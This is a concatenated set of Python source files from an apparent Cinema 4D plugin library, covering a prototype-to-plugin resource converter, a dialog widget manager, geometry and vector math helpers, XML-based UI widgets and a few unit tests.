typename = 'LONG' if dtype == c4d.DTYPE_LONG else 'REAL'
typecast = int if dtype == c4d.DTYPE_LONG else float
cycle = bc[c4d.DESC_CYCLE]
has_cycle = (dtype == c4d.DTYPE_LONG and cycle)
multiplier = 100 if (not has_cycle and bc[c4d.DESC_UNIT] == c4d.DESC_UNIT_PERCENT) else 1
# Note: We do not multiply the DEFAULT property value by the
# multiplier, as for the UNIT_PERCENT a DEFAULT of 1 is already
# 100%. This is however not the case for MIN/MAX/etc.
if has_cycle:
cycle_lines = []
default_name = None
if isinstance(default, int):
default_name = cycle.GetString(default)
for _, name in cycle:
cycle_lines.append(symbol_map.get_cycle_symbol(node, name) + ';')
cycle_lines = self.indent + ('\n'+self.indent).join(cycle_lines)
props.append('CYCLE {\n' + cycle_lines + '\n}')
if default_name:
props.append('DEFAULT {};'.format(symbol_map.get_cycle_symbol(node, default_name)))
elif isinstance(default, int):
props.append('DEFAULT {};'.format(int(default)))
elif isinstance(default, (int, float)):
props.append('DEFAULT {};'.format(typecast(default)))
if bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_LONGSLIDER:
props.append('CUSTOMGUI LONGSLIDER;')
elif bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_CYCLEBUTTON:
props.append('CUSTOMGUI CYCLEBUTTON;')
elif bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_REALSLIDER:
props.append('CUSTOMGUI REALSLIDER;')
elif bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_REALSLIDERONLY:
props.append('CUSTOMGUI REALSLIDERONLY;')
elif bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_LONG_LAT:
props.append('CUSTOMGUI LONG_LAT;')
# QuickTab CustomGUI (btw. for some reason not the same as
# c4d.CUSTOMGUI_QUICKTAB)
elif bc[c4d.DESC_CUSTOMGUI] == 200000281:
symbol_map.add_hardcoded_description(node, 'c4d.DESC_CUSTOMGUI', 200000281)
# RadioButtons CustomGUI.
elif bc[c4d.DESC_CUSTOMGUI] == 1019603:
symbol_map.add_hardcoded_description(node, 'c4d.DESC_CUSTOMGUI', 1019603)
elif bc[c4d.DESC_CUSTOMGUI] in (c4d.CUSTOMGUI_REAL, c4d.CUSTOMGUI_LONG, c4d.CUSTOMGUI_CYCLE):
pass # Default
else:
print('Note: unknown customgui:', bc[c4d.DESC_NAME], bc[c4d.DESC_CUSTOMGUI])
if not has_cycle:
if bc.GetType(c4d.DESC_MIN) == dtype and not is_minvalue(bc[c4d.DESC_MIN]):
props.append('MIN {};'.format(bc[c4d.DESC_MIN] * multiplier))
if bc.GetType(c4d.DESC_MAX) == dtype and not is_maxvalue(bc[c4d.DESC_MAX]):
props.append('MAX {};'.format(bc[c4d.DESC_MAX] * multiplier))
if bc[c4d.DESC_CUSTOMGUI] in (c4d.CUSTOMGUI_LONGSLIDER, c4d.CUSTOMGUI_REALSLIDER, c4d.CUSTOMGUI_REALSLIDERONLY):
if bc.GetType(c4d.DESC_MINSLIDER) == dtype:
props.append('MINSLIDER {};'.format(bc[c4d.DESC_MINSLIDER] * multiplier))
if bc.GetType(c4d.DESC_MAXSLIDER) == dtype:
props.append('MAXSLIDER {};'.format(bc[c4d.DESC_MAXSLIDER] * multiplier))
if bc.GetType(c4d.DESC_STEP) == dtype:
step = bc[c4d.DESC_STEP] * multiplier
props.append('STEP {};'.format(step))
elif dtype == c4d.DTYPE_BUTTON:
typename = 'BUTTON'
elif dtype in (c4d.DTYPE_COLOR, c4d.DTYPE_VECTOR):
typename = 'COLOR' if dtype == c4d.DTYPE_COLOR else 'VECTOR'
vecprop = lambda n, x: '{0} {1.x} {1.y} {1.z};'.format(n, x)
multiplier = 100 if (bc[c4d.DESC_UNIT] == c4d.DESC_UNIT_PERCENT) else 1
if isinstance(default, c4d.Vector):
props.append(vecprop('DEFAULT', default))
if dtype == c4d.DTYPE_VECTOR:
if bc.GetType(c4d.DESC_MIN) == c4d.DTYPE_VECTOR and not is_minvalue(bc[c4d.DESC_MIN]):
props.append(vecprop('MIN', bc.GetVector(c4d.DESC_MIN) * multiplier))
if bc.GetType(c4d.DESC_MAX) == c4d.DTYPE_VECTOR and not is_maxvalue(bc[c4d.DESC_MAX]):
props.append(vecprop('MAX', bc.GetVector(c4d.DESC_MAX) * multiplier))
if bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_SUBDESCRIPTION:
props.append('CUSTOMGUI SUBDESCRIPTION;')
if bc.GetType(c4d.DESC_STEP) == c4d.DTYPE_VECTOR:
props.append(vecprop('STEP', bc[c4d.DESC_STEP] * multiplier))
elif dtype == c4d.DTYPE_FILENAME:
typename = 'FILENAME'
elif dtype == c4d.CUSTOMDATATYPE_GRADIENT:
typename = 'GRADIENT'
elif dtype == c4d.CUSTOMDATATYPE_INEXCLUDE_LIST:
typename = 'IN_EXCLUDE'
elif dtype == c4d.DTYPE_BASELISTLINK:
if bc[c4d.DESC_CUSTOMGUI] == c4d.CUSTOMGUI_TEXBOX:
typename = 'SHADERLINK'
else:
typename = 'LINK'
refuse = bc[c4d.DESC_REFUSE]
if refuse:
props.append('REFUSE { ' + ' '.join(
(refuse_name if refuse_name else str(refuse_id)) + ';'
for refuse_id, refuse_name in refuse
) + ' }')
accept = bc[c4d.DESC_ACCEPT]
if accept:
props.append('ACCEPT { ' + ' '.join(
(accept_id if accept_name else str(accept_id)) + ';'
for accept_id, accept_name in accept
if accept_id != c4d.Tbaselist2d
) + ' }')
if props[-1] == 'ACCEPT { }':
props.pop()
elif dtype == c4d.CUSTOMDATATYPE_SPLINE:
typename = 'SPLINE'
elif dtype == c4d.DTYPE_STRING:
typename = 'STRING'
elif dtype == c4d.DTYPE_TIME:
typename = 'TIME'
elif dtype == c4d.DTYPE_SEPARATOR:
typename = 'SEPARATOR'
if bc[c4d.DESC_SEPARATORLINE]:
props.append('LINE;')
else:
print('Unhandled datatype:', dtype, '({})'.format(node['bc'][c4d.DESC_NAME]))
return
# Handle units.
if dtype in (c4d.DTYPE_LONG, c4d.DTYPE_REAL, c4d.DTYPE_VECTOR):
if bc[c4d.DESC_UNIT] == c4d.DESC_UNIT_PERCENT:
props.append('UNIT PERCENT;')
elif bc[c4d.DESC_UNIT] == c4d.DESC_UNIT_DEGREE:
props.append('UNIT DEGREE;')
elif bc[c4d.DESC_UNIT] == c4d.DESC_UNIT_METER:
props.append('UNIT METER;')
fp.write(self.indent * depth + typename)
if symbol:
fp.write(' ' + symbol)
fp.write(' {')
if any('\n' in x for x in props):
fp.write('\n')
single, multi = [], []
for prop in props:
prop = prop.rstrip()
if '\n' in prop: multi.append(prop)
else: single.append(prop)
if single:
fp.write(self.indent * (depth+1) + ' '.join(single) + '\n')
for prop in multi:
for line in prop.split('\n'):
fp.write(self.indent * (depth+1) + line + '\n')
fp.write(self.indent * depth + '}\n')
else:
fp.write(' ' + ' '.join(props) + (' ' if props else ''))
fp.write('}\n')
def render_symbol_string(self, fp, node, symbol_map):
if not node.data or node['descid'] == c4d.DescID(c4d.ID_USERDATA):
return
symbol = node['symbol'][0]
if not symbol:
return
name = unicode_refreplace(node['bc'][c4d.DESC_NAME])
fp.write(self.indent + '{} "{}";\n'.format(symbol, name))
cycle = node['bc'][c4d.DESC_CYCLE]
icons = node['bc'][c4d.DESC_CYCLEICONS]
for item_id, name in (cycle or []):
name = unicode_refreplace(name)
strname = name
if icons and icons[item_id]:
strname += '&i' + str(icons[item_id])
fp.write(self.indent * 2 + '{} "{}";\n'.format(
symbol_map.get_cycle_symbol(node, name), strname))
def save_to_link(self):
if not self.link:
raise RuntimeError('has no link')
bc = get_subcontainer(self.link.GetDataInstance(), ID_PLUGIN_CONVERTER, True)
bc[0] = self.plugin_name
bc[1] = self.plugin_id
bc[2] = self.resource_name
bc[3] = self.symbol_prefix
bc[4] = self.icon_file
bc[5] = self.directory
bc[6] = self.indent
bc[7] = self.symbol_mode
assert self.has_settings()
def read_from_link(self):
bc = get_subcontainer(self.link.GetDataInstance(), ID_PLUGIN_CONVERTER)
if not bc: bc = c4d.BaseContainer()
self.plugin_name = bc.GetString(0)
self.plugin_id = bc.GetString(1)
self.resource_name = bc.GetString(2)
self.symbol_prefix = bc.GetString(3)
self.icon_file = bc.GetString(4)
self.directory = bc.GetString(5)
self.indent = bc.GetString(6)
self.symbol_mode = bc.GetString(7)
def has_settings(self):
if self.link:
return has_subcontainer(self.link.GetDataInstance(), ID_PLUGIN_CONVERTER)
return False
def delete_settings(self):
data = self.link.GetDataInstance()
data.RemoveData(ID_PLUGIN_CONVERTER)
class PrototypeConverter(nr.c4d.ui.Component):
def render(self, dialog):
self.flush_children()
self.load_xml_file('./PrototypeConverter.xml')
self['create'].add_event_listener('click', self.on_create)
for key in ('source', 'plugin_name', 'plugin_id', 'resource_name', 'icon_file',
'plugin_directory', 'overwrite', 'export_mode'):
self[key].add_event_listener('value-changed', self.on_change)
self['get_plugin_id'].add_event_listener('click', self.on_get_plugin_id)
self['clear_plugin_name'].add_event_listener('click', self._clear_field('plugin_name'))
self['clear_plugin_id'].add_event_listener('click', self._clear_field('plugin_id'))
self['clear_resource_name'].add_event_listener('click', self._clear_field('resource_name'))
self['clear_symbol_prefix'].add_event_listener('click', self._clear_field('symbol_prefix'))
self['clear_icon_file'].add_event_listener('click', self._clear_field('icon_file'))
self['clear_plugin_directory'].add_event_listener('click', self._clear_field('plugin_directory'))
super(PrototypeConverter, self).render(dialog)
def init_values(self, dialog):
super(PrototypeConverter, self).init_values(dialog)
doc = c4d.documents.GetActiveDocument()
self['source'].set_link(doc.GetActiveObject() or doc.GetActiveTag())
self.on_change(None)
def get_converter(self):
symbol_mode = self['symbol_mode'].active_item.ident.encode()
indent_mode = self['indent_mode'].active_item.ident.encode()
indent = {'tab': '\t', '2space': ' ', '4space': ' '}[indent_mode]
return Converter(
link = self['source'].get_link(),
plugin_name = self['plugin_name'].value,
plugin_id = self['plugin_id'].value.strip(),
resource_name = self['resource_name'].value,
symbol_prefix = self['symbol_prefix'].value,
icon_file = self['icon_file'].value,
directory = self['plugin_directory'].value,
write_plugin_stub = self['export_mode'].is_checked('plugin'),
write_resources = self['export_mode'].is_checked('res'),
write_readme = self['export_mode'].is_checked('readme'),
symbol_mode = symbol_mode,
overwrite = self['overwrite'].value,
indent = indent
)
def on_change(self, widget):
cnv = self.get_converter()
cnv.autofill()
files = cnv.files()
parent = os.path.dirname(files.pop('directory'))
self['filelist'].set_files(files, parent, cnv.optional_file_ids())
self['filelist'].set_overwrite(cnv.overwrite)
self['plugin_name'].set_helptext(cnv.plugin_name)
self['plugin_id'].set_helptext(cnv.plugin_id)
self['resource_name'].set_helptext(cnv.resource_name)
self['symbol_prefix'].set_helptext(cnv.symbol_prefix)
self['icon_file'].set_helptext(cnv.icon_file)
self['plugin_directory'].set_helptext(parent)
color = COLOR_RED if not cnv.link else None
self['source'].previous_sibling.set_color(color)
color = COLOR_RED if not cnv.plugin_id.isdigit() else None
self['plugin_id'].parent.previous_sibling.set_color(color)
enable = True
if not cnv.link or not cnv.plugin_id.isdigit():
enable = False
self['create'].enabled = enable
def on_create(self, button):
cnv = self.get_converter()
cnv.autofill()
try:
cnv.create()
except Exception as exc:
traceback.print_exc()
c4d.gui.MessageDialog(str(exc))
else:
cnv.save_to_link()
print('Saved settings to object "{}".'.format(cnv.link.GetName()))
c4d.storage.ShowInFinder(cnv.files()['directory'])
self.on_change(None)
def on_get_plugin_id(self, button):
webbrowser.open('http://www.plugincafe.com/forum/developer.asp')
def _clear_field(self, field_name):
def worker(item):
cnv = self.get_converter()
self[field_name].value = ''
if cnv.link:
cnv.read_from_link()
setattr(cnv, field_name, '')
cnv.save_to_link()
self.on_change(None)
return worker
window = nr.c4d.ui.DialogWindow(PrototypeConverter(), title='Prototype Converter')
command = nr.c4d.ui.DialogOpenerCommand(ID_PLUGIN_CONVERTER, window)
command.Register('Prototype Converter...', c4d.PLUGINFLAG_HIDEPLUGINMENU,
icon=res.bitmap(res.local('../icons/prototype_converter.png')))
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/native/manager.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
import c4d
import traceback
import weakref
import Queue
class WidgetManager(object):
"""
A #WidgetManager takes care of all #BaseWidget instances in a single dialog.
It contains a command-queue that is being executed everytime the dialog
gets priority in the main-thread, manages widget ID assignment and more.
# Members
dialog: A #weakref.ref to the dialog that owns this #WidgetManager.
cid (int): The current and ever increading widget ID. Every widget
automatically saves the IDs that it allocated when using the
#BaseWidget.alloc_id() method.
"""
def __init__(self, dialog, parent=None, root=None):
if dialog and not isinstance(dialog, c4d.gui.GeDialog):
raise TypeError('expected GeDialog')
if parent and not isinstance(parent, WidgetManager):
raise TypeError('parent, if specified, must be a WidgetManager')
self._dialog = weakref.ref(dialog) if dialog else None
self.parent = parent
self.root = root
self.cid = 1000
self._queue = Queue.Queue()
self._id_widget_map = {} # ID to weakref of BaseWidget
self._layout_changed = False
self._children = []
if parent:
parent._children.append(self)
def __getitem__(self, id):
return self._id_widget_map[id]()
def dialog(self):
if self.parent:
return self.parent.dialog()
elif self._dialog:
return self._dialog()
else:
return None
def layout_changed(self):
self._layout_changed = True
def update(self, root):
if self._layout_changed:
self._layout_changed = False
root.update(self.dialog())
for child in self._children:
if child.root:
child.update(child.root)
def process_queue(self, exc_handler=None):
"""
Call all functions that have been queued for execution in the main thread
(must be called from the main thread).
"""
while True:
try:
__func, args, kwargs = self._queue.get(block=False)
except Queue.Empty:
break
try:
__func(*args, **kwargs)
except:
if exc_handler:
exc_handler()
else:
traceback.print_exc()
for child in self._children:
child.process_queue(exc_handler)
def queue(self, __func, *args, **kwargs):
"""
Queue a function that will be invoked from the main thread.
"""
self._queue.put((__func, args, kwargs), block=False)
def alloc_id(self):
"""
Returns the value if #cid and increments it.
"""
if self.parent:
return self.parent.alloc_id()
else:
try:
return self.cid
finally:
self.cid += 1
def remove(self):
if self.parent:
self.parent._children.remove(self)
self.parent = None
def add_child(self, child_manager):
assert isinstance(child_manager, WidgetManager), type(child_manager)
child_manager.remove()
child_manager.parent = self
self._children.append(child_manager)
<file_sep>/lib/nr.c4d/src/nr/c4d/geometry.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
This module provides common helper methods for working with geometry in
Cinema 4D, such as computing face- and vertex normals.
"""
import c4d
def calculate_face_normals(op=None, points=None, polys=None):
"""
Builds a list of face normals and polygon midpoints from *op* or the
specified *points* and *polygons* lists.
# Parameters
op (c4d.PolygonObject):
points (list of c4d.Vector):
polys (list of c4d.CPolygon):
return (tuple of (list of c4d.Vector, list of c4d.Vector):
The first element is the polygon normals, the second is the polygon
midpoints.
"""
if points is None:
points = op.GetAllPoints()
if polys is None:
polys = op.GetAllPoints()
midpoints = []
normals = []
for poly in polys:
a, b, c, d = points[poly.a], points[poly.b], points[poly.c], points[poly.d]
midp = a + b + c
if poly.c == poly.d:
midp *= 1.0 / 3
else:
midp = (midp + d) * (1.0 / 4)
midpoints.append(midp)
normals.append((b - a).Cross(d - a))
return (normals, midpoints)
def build_point_connection_list(op, nb, polys=None):
"""
Builds a list that for each vertex contains a tuple which consists of the
indices of points connected with that respective point by an edge in the
mesh.
```python
from nr.c4d.geometry import build_point_connection_list
from c4d.utils import Neighbor
def main():
nb = Neighbor()
nb.Init(op)
conn = build_point_connection_list(op, nb)
print "Points connected with point 1:", conn[1]
```
# Parameters
o (c4d.PolygonObject):
nb (c4d.utils.Neighbor): Must be initialized with *op*.
polys (list of c4d.CPolygon): An optional list of the polygons of *op*.
return (list of tuple of int):
"""
result = []
if polys is None:
polys = op.GetAllPolygons()
for pindex in xrange(op.GetPointCount()):
connections = set()
for findex in nb.GetPointPolys(pindex):
poly = polys[findex]
if poly.a == pindex:
connections.add(poly.d)
connections.add(poly.b)
elif poly.b == pindex:
connections.add(poly.a)
connections.add(poly.c)
elif poly.c == pindex:
connections.add(poly.b)
connections.add(poly.d)
elif poly.d == pindex:
connections.add(poly.c)
connections.add(poly.a)
result.append(tuple(connections))
return result
<file_sep>/lib/nr.types/tests/test_function.py
from nose.tools import *
from nr.types.function import replace_closure
def create_function_with_closure(value):
def check():
assert_equals(value, 'foo')
return check
def test_has_closure():
func = create_function_with_closure('bar')
assert_equals(len(func.__closure__), 1)
with assert_raises(AssertionError):
func()
func = replace_closure(func, {'value': 'foo'})
func()
<file_sep>/lib/nr.types/tests/test_enum.py
from nose.tools import *
from nr.types.enum import Enumeration
def test_enum():
assert hasattr(Enumeration, 'Data')
class Color(Enumeration):
Red = 0
Green = 2
Blue = 1
Fav = Enumeration.Data('Purple')
assert not hasattr(Color, 'Data')
assert_equals(Color.Fav, 'Purple')
assert_equals(Color.Red, Color(0))
assert_equals(Color.Green, Color(2))
assert_equals(Color.Blue, Color(1))
assert_equals(set([Color.Red, Color.Green, Color.Blue]), set(Color))
assert_equals(set([Color.Red, Color.Green, Color.Blue]), set(Color.__values__()))
<file_sep>/lib/nr.c4d/src/nr/c4d/math.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import c4d
import collections
from c4d import Vector
def closest_point_on_line(a, b, p):
"""
Returns the closest point to *p* which is on the line through the points
*a* and *b*. #ZeroDivisionError is raised if *a* and *b* are the same.
"""
ap = a - p
ab = b - a
ab2 = ab.x ** 2 + ab.y ** 2 + ab.z ** 2
ab_ap = (ap.x * ab.x) + (ap.y * ab.y) + (ap.z * ab.z)
t = ab_ap / ab2
return a - ab * t
def line_line_intersection(p1, d1, p2, d2, precision=1.0e-7):
"""
Calculates the intersection point of the two lines defined by *p1*, *d1*
and *p2*, *d2*.
# Parameters
p1 (c4d.Vector): A point on the first line.
d1 (c4d.Vector): The direction of the first line.
p2 (c4d.Vector): A point on the second line.
d2 (c4d.Vector): The direction of the second line.
precision (float):
The accepted deviation between the components of the linear factors.
return (c4d.Vector, None):
The intersection point if the lines intersect, otherwise #None.
"""
# xxx: Where did I find this algorithm??
a = d1.Cross(d2)
b = (p2 - p1).Cross(d2)
c = c4d.Vector(b.x / a.x, b.y / a.y, b.z / a.z)
# Now check if the resulting deviation can be accepted.
ref = c.x
val = ref
for v in (c.y, c.z):
if abs(v - ref) > precision:
return None
val += v
return p1 + d1 * val / 3.0
def vmin(a, b, copy=True):
"""
Combines the lowest components of the two vectors *a* and *b* into a
new vector.
"""
if copy:
c = c4d.Vector(a)
else:
c = a
if b.x < a.x: c.x = b.x
if b.y < a.y: c.y = b.y
if b.z < a.z: c.z = b.z
return c
def vmax(a, b, copy=True):
"""
Combines the highest components of the two vectors *a* and *b* into a
new vector.
"""
if copy:
c = c4d.Vector(a)
else:
c = a
if b.x > a.x: c.x = b.x
if b.y > a.y: c.y = b.y
if b.z > a.z: c.z = b.z
return c
def vbbmid(vectors):
"""
Returns the mid-point of the bounding box spanned by the list of vectors.
This is different to the arithmetic middle of the points.
"""
if not isinstance(vectors, collections.Sequence):
raise ValueError('vectors must be a Sequence')
vectors = tuple(vectors)
if not vectors:
raise ValueError('An empty sequence is not accepted.')
min = Vector(vectors[0])
max = Vector(min)
for v in vectors:
vmin(min, v)
vmax(max, v)
return (min + max) * 0.5
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/native/widgets.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
__all__ = [
'Group', 'Text', 'Spacer', 'Separator', 'Button', 'Input',
'UserArea', 'MenuGroup', 'MenuItem', 'Checkbox', 'Combobox', 'Item',
'Quicktab', 'DialogPin', 'Component', 'get_layout_flags', 'get_scroll_flags'
]
import c4d
import os
import sys
from .base import BaseWidget, BaseGroupWidget
from .manager import WidgetManager
from ..utils.xml import load_xml_widgets
def load_xml_string(xml, globals, insert_widget=None, _stackframe=0):
if insert_widget is None:
def insert_widget(parent, child):
parent.pack(child)
if globals is None:
globals = sys._getframe(_stackframe+1).f_globals
globals = dict(globals)
globals.update(__builtins__['globals']()) # Make default widgets available
return load_xml_widgets(xml, globals, insert_widget)
def load_xml_file(filename, globals, insert_widget=None, _stackframe=0):
if isinstance(filename, str):
if not os.path.isabs(filename):
parent_dir = os.path.dirname(sys._getframe(_stackframe+1).f_globals['__file__'])
filename = os.path.join(parent_dir, filename)
with open(filename, 'r') as fp:
xml = fp.read()
else:
xml = filename.read()
return load_xml_string(xml, globals, insert_widget, _stackframe=_stackframe+1)
_layout_map = {
'fill': c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT,
'fill-x': c4d.BFH_SCALEFIT,
'fill-y': c4d.BFV_SCALEFIT,
'fit': c4d.BFH_FIT | c4d.BFV_FIT,
'fit-x': c4d.BFH_FIT,
'fit-y': c4d.BFV_FIT,
'left': c4d.BFH_LEFT,
'center': c4d.BFH_CENTER,
'right': c4d.BFH_RIGHT,
'top': c4d.BFV_TOP,
'middle': c4d.BFV_CENTER,
'bottom': c4d.BFV_BOTTOM
}
_border_map = {
'none': c4d.BORDER_NONE,
'thin_in': c4d.BORDER_THIN_IN,
'thin_out': c4d.BORDER_THIN_OUT,
'in': c4d.BORDER_IN,
'out': c4d.BORDER_OUT,
'group_in': c4d.BORDER_GROUP_IN,
'group_out': c4d.BORDER_GROUP_OUT,
'out2': c4d.BORDER_OUT2,
'out3': c4d.BORDER_OUT3,
'black': c4d.BORDER_BLACK,
'active_1': c4d.BORDER_ACTIVE_1,
'active_2': c4d.BORDER_ACTIVE_2,
'active_3': c4d.BORDER_ACTIVE_3,
'active_4': c4d.BORDER_ACTIVE_4,
'group_top': c4d.BORDER_GROUP_TOP,
'round': c4d.BORDER_ROUND,
'scheme_edit': c4d.BORDER_SCHEME_EDIT,
'scheme_edit_numeric': c4d.BORDER_SCHEME_EDIT_NUMERIC,
'out3l': c4d.BORDER_OUT3l,
'out3r': c4d.BORDER_OUT3r
}
_scroll_map = {
'none': 0,
'vertical': c4d.SCROLLGROUP_VERT,
'vertical-auto': c4d.SCROLLGROUP_VERT | c4d.SCROLLGROUP_AUTOVERT,
'horizontal': c4d.SCROLLGROUP_HORIZ,
'horizontal-auto': c4d.SCROLLGROUP_HORIZ | c4d.SCROLLGROUP_AUTOHORIZ,
'noblit': c4d.SCROLLGROUP_NOBLIT,
'scroll-left': c4d.SCROLLGROUP_LEFT,
'border-in': c4d.SCROLLGROUP_BORDERIN,
'statusbar': c4d.SCROLLGROUP_STATUSBAR,
'statusbar-ext-group': c4d.SCROLLGROUP_STATUSBAR_EXT_GROUP,
'noscroller': c4d.SCROLLGROUP_NOSCROLLER,
'novgap': c4d.SCROLLGROUP_NOVGAP
}
_unit_map = {
'float': c4d.FORMAT_FLOAT,
'int': c4d.FORMAT_INT,
'percent': c4d.FORMAT_PERCENT,
'degree': c4d.FORMAT_DEGREE,
'meter': c4d.FORMAT_METER,
'frames': c4d.FORMAT_FRAMES,
'seconds': c4d.FORMAT_SECONDS,
'smpte': c4d.FORMAT_SMPTE
}
def get_layout_flags(layout):
layout_flags = 0
for flag_name in layout.split(','):
layout_flags |= _layout_map[flag_name]
return layout_flags
def get_scroll_flags(scroll):
scroll_flags = 0
for flag_name in scroll.split(','):
scroll_flags |= _scroll_map[flag_name]
return scroll_flags
def bool_cast(obj):
if isinstance(obj, basestring):
obj = obj.encode().strip().lower()
if obj == 'true':
return True
return False
else:
return bool(obj)
class Group(BaseGroupWidget):
"""
A Cinema 4D group widget.
# Parameters
layout (str): One of the following flags, or a combination separated
by commas: fill, fill-x, fill-y, fit, fit-x, fit-y, left, center, right,
top, middle, bottom.
rows (str, int): The number of rows.
cols (str, int): The number of columns.
title (str): The group title (only visible when a *border* is set).
title_bold (bool, str): Whether the group title should be displayed in
bold letters.
initw (int, str): The initial width.
inith (int, str): The initial height.
border (str): The border type, one of the following values: none, thin_in,
thin_out, in, out, group_in, group_out, out2, out3, black, active_1,
active_2, active_3, active_4, group_top, round, scheme_edit,
scheme_edit_numeric, out3l, out3r
borderspace (tuple of (int, int, int, int), str): Group border space.
itemspace (tuple of (int, int), str): Item spacing.
scroll (str): One of the following flags, or a combination separated
by commas: vertical, horizontal, vertical-auto, horizontal-auto,
noblit, scroll-left, border-in, statusbar, statusbar_ext_group,
noscroller, novgap.
"""
def __init__(self, layout='fill', rows='0', cols='0', title='',
title_bold='false', initw='0', inith='0', border='none',
borderspace=None, itemspace=None, scroll='none', checkbox=False,
id=None):
BaseGroupWidget.__init__(self, id)
self.layout = layout
self.rows = rows
self.cols = cols
self.title = title
self.initw = initw
self.inith = inith
self.border = border
self.borderspace = borderspace
self.itemspace = itemspace
self.scroll = scroll
self.checkbox = bool_cast(checkbox)
self._value = False
self._layout_changed = False
def layout_changed(self):
self._layout_changed = True
manager = self.manager
if manager is not None:
manager.layout_changed()
# Don't call parent method as it will notify the Group's parent about
# the change, and we only want to rebuild the closes parent group.
def render(self, dialog):
# Prepare style attributes.
border_flags = _border_map[self.border]
layout_flags = get_layout_flags(self.layout)
scroll_flags = get_scroll_flags(self.scroll)
cols = int(self.cols)
rows = int(self.rows)
initw = int(self.initw)
inith = int(self.inith)
if isinstance(self.borderspace, (unicode, str)):
borderspace = map(int, self.borderspace.split(','))
else:
borderspace = self.borderspace
if isinstance(self.itemspace, (unicode, str)):
itemspace = map(int, self.itemspace.split(','))
else:
itemspace = self.itemspace
groupflags = 0
if self.checkbox:
groupflags |= c4d.BFV_BORDERGROUP_CHECKBOX
group_id = self.alloc_id('group')
if scroll_flags:
dialog.GroupBegin(0, layout_flags, 1, 0, self.title, groupflags)
else:
dialog.GroupBegin(group_id, layout_flags, cols, rows,
self.title, groupflags, initw, inith)
if borderspace:
dialog.GroupBorderSpace(*borderspace)
if self.title:
dialog.GroupBorder(border_flags)
else:
dialog.GroupBorderNoTitle(border_flags)
if scroll_flags:
dialog.ScrollGroupBegin(
